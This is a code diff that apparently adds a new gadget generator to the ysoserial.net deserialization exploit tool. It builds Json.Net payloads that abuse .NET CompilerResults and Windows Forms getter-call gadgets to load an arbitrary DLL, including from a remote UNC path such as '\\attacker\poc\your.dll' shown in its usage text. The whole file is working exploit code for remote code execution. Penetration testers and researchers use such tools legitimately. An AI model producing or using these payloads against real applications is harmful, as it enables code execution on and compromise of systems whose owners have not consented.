|
| 1 | +using NDesk.Options; |
| 2 | +using Newtonsoft.Json.Linq; |
| 3 | +using System; |
| 4 | +using System.Collections.Generic; |
| 5 | +using System.Runtime.Serialization; |
| 6 | +using System.Security.Principal; |
| 7 | +using System.Windows.Markup; |
| 8 | +using ysoserial.Helpers; |
| 9 | + |
| 10 | +namespace ysoserial.Generators |
| 11 | +{ |
| 12 | + public class GetterCompilerResultsGenerator : GenericGenerator |
| 13 | + { |
| 14 | + // CompilerResults + Getter call gadget |
| 15 | + // CompilerResults.get_CompiledAssembly leads to the DLL Load: remote DLL loading for .NET 5/6/7 and local DLL loading for .NET Framework |
| 16 | + // .NET 5/6/7 requires WPF enabled, as getter-call gadgets exist in WPF assemblies |
| 17 | + // Mixed DLLs can be loaded |
| 18 | + |
| 19 | + // We can deserialize the CompilerResults with proper member values |
| 20 | + // and then call the get_CompiledAssembly with one of the getter-call gadgets: |
| 21 | + // PropertyGrid |
| 22 | + // ComboBox |
| 23 | + // ListBox |
| 24 | + // CheckedListBox |
| 25 | + |
| 26 | + // It should be possible to use it with the serializers that are able to call the one-arg constructor |
| 27 | + |
| 28 | + private int variant_number = 1; // Default |
| 29 | + |
| 30 | + public override List<string> SupportedFormatters() |
| 31 | + { |
| 32 | + return new List<string> { "Json.Net"}; // MessagePack should work too |
| 33 | + } |
| 34 | + |
| 35 | + public override string Name() |
| 36 | + { |
| 37 | + return "GetterCompilerResults"; |
| 38 | + } |
| 39 | + |
| 40 | + public override string Finders() |
| 41 | + { |
| 42 | + return "Piotr Bazydlo"; |
| 43 | + } |
| 44 | + |
| 45 | + public override string AdditionalInfo() |
| 46 | + { |
| 47 | + return "Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument"; |
| 48 | + } |
| 49 | + |
| 50 | + public override OptionSet Options() |
| 51 | + { |
| 52 | + OptionSet options = new OptionSet() |
| 53 | + { |
| 54 | + {"var|variant=", "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, " + |
| 55 | + "\r\n2 - ComboBox getter-call gadget (may load DLL twice)" + |
| 56 | + "\r\n3 - ListBox getter-call gadget" + |
| 57 | + "\r\n4 - CheckedListBox getter-call gadget", v => int.TryParse(v, out variant_number) }, |
| 58 | + }; |
| 59 | + |
| 60 | + return options; |
| 61 | + } |
| 62 | + |
| 63 | + public override List<string> Labels() |
| 64 | + { |
| 65 | + return new List<string> { GadgetTypes.GetterChainNotDerived, "Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available" }; |
| 66 | + } |
| 67 | + |
| 68 | + public override string SupportedBridgedFormatter() |
| 69 | + { |
| 70 | + return Formatters.BinaryFormatter; |
| 71 | + } |
| 72 | + |
| 73 | + public override object Generate(string formatter, InputArgs inputArgs) |
| 74 | + { |
| 75 | + String payload; |
| 76 | + String compilerPayload; |
| 77 | + inputArgs.IsRawCmd = true; |
| 78 | + |
| 79 | + if (!inputArgs.CmdFullString.ToLowerInvariant().EndsWith(".dll")) |
| 80 | + { |
| 81 | + Console.WriteLine("This gadget loads remote (.NET 5/6/7) or local file (.NET Framework, if System.CodeDom is available): -c argument should provide a file path to your mixed DLL file, which needs to end with the \".dll\"\r\nUNC paths can be used for the remote DLL loading, like \\\\attacker\\poc\\your.dll\r\nIf you want to deliver file with a different extension than .dll, please modify the gadget manually\r\nExample: ysoserial.exe -g GetterCompilerResults -f Json.Net -c '\\\\attacker\\poc\\your.dll'"); |
| 82 | + Environment.Exit(-1); |
| 83 | + } |
| 84 | + |
| 85 | + if (formatter.ToLower().Equals("json.net")) |
| 86 | + { |
| 87 | + inputArgs.CmdType = CommandArgSplitter.CommandType.JSON; |
| 88 | + |
| 89 | + compilerPayload = @"{ |
| 90 | + '$type':'System.CodeDom.Compiler.CompilerResults, System.CodeDom, Version=5.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51', |
| 91 | + 'tempFiles':null, |
| 92 | + 'PathToAssembly':'" + inputArgs.CmdFullString + @"' |
| 93 | + }"; |
| 94 | + |
| 95 | + if (variant_number == 2) |
| 96 | + { |
| 97 | + payload = @"{ |
| 98 | + '$type':'System.Windows.Forms.ComboBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', |
| 99 | + 'Items':[ |
| 100 | + " + compilerPayload + @" |
| 101 | + ], |
| 102 | + 'DisplayMember':'CompiledAssembly', |
| 103 | + 'Text':'whatever' |
| 104 | +}"; |
| 105 | + } |
| 106 | + else if (variant_number == 3) |
| 107 | + { |
| 108 | + payload = @"{ |
| 109 | + '$type':'System.Windows.Forms.ListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', |
| 110 | + 'Items':[ |
| 111 | + " + compilerPayload + @" |
| 112 | + ], |
| 113 | + 'DisplayMember':'CompiledAssembly', |
| 114 | + 'Text':'whatever' |
| 115 | +}"; |
| 116 | + } |
| 117 | + else if (variant_number == 4) |
| 118 | + { |
| 119 | + payload = @"{ |
| 120 | + '$type':'System.Windows.Forms.CheckedListBox, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', |
| 121 | + 'Items':[ |
| 122 | + " + compilerPayload + @" |
| 123 | + ], |
| 124 | + 'DisplayMember':'CompiledAssembly', |
| 125 | + 'Text':'whatever' |
| 126 | +}"; |
| 127 | + } |
| 128 | + else |
| 129 | + { |
| 130 | + payload = @"{ |
| 131 | + '$type':'System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089', |
| 132 | + 'SelectedObjects':[ |
| 133 | + " + compilerPayload + @" |
| 134 | + ] |
| 135 | +}"; |
| 136 | + } |
| 137 | + |
| 138 | + if (inputArgs.Minify) |
| 139 | + { |
| 140 | + if (inputArgs.UseSimpleType) |
| 141 | + { |
| 142 | + payload = JsonHelper.Minify(payload, new string[] { "mscorlib" }, null); |
| 143 | + } |
| 144 | + else |
| 145 | + { |
| 146 | + payload = JsonHelper.Minify(payload, null, null); |
| 147 | + } |
| 148 | + } |
| 149 | + |
| 150 | + if (inputArgs.Test) |
| 151 | + { |
| 152 | + try |
| 153 | + { |
| 154 | + SerializersHelper.JsonNet_deserialize(payload); |
| 155 | + } |
| 156 | + catch (Exception err) |
| 157 | + { |
| 158 | + Debugging.ShowErrors(inputArgs, err); |
| 159 | + } |
| 160 | + } |
| 161 | + return payload; |
| 162 | + } |
| 163 | + else |
| 164 | + { |
| 165 | + throw new Exception("Formatter not supported"); |
| 166 | + } |
| 167 | + } |
| 168 | + } |
| 169 | + |
| 170 | +} |
0 commit comments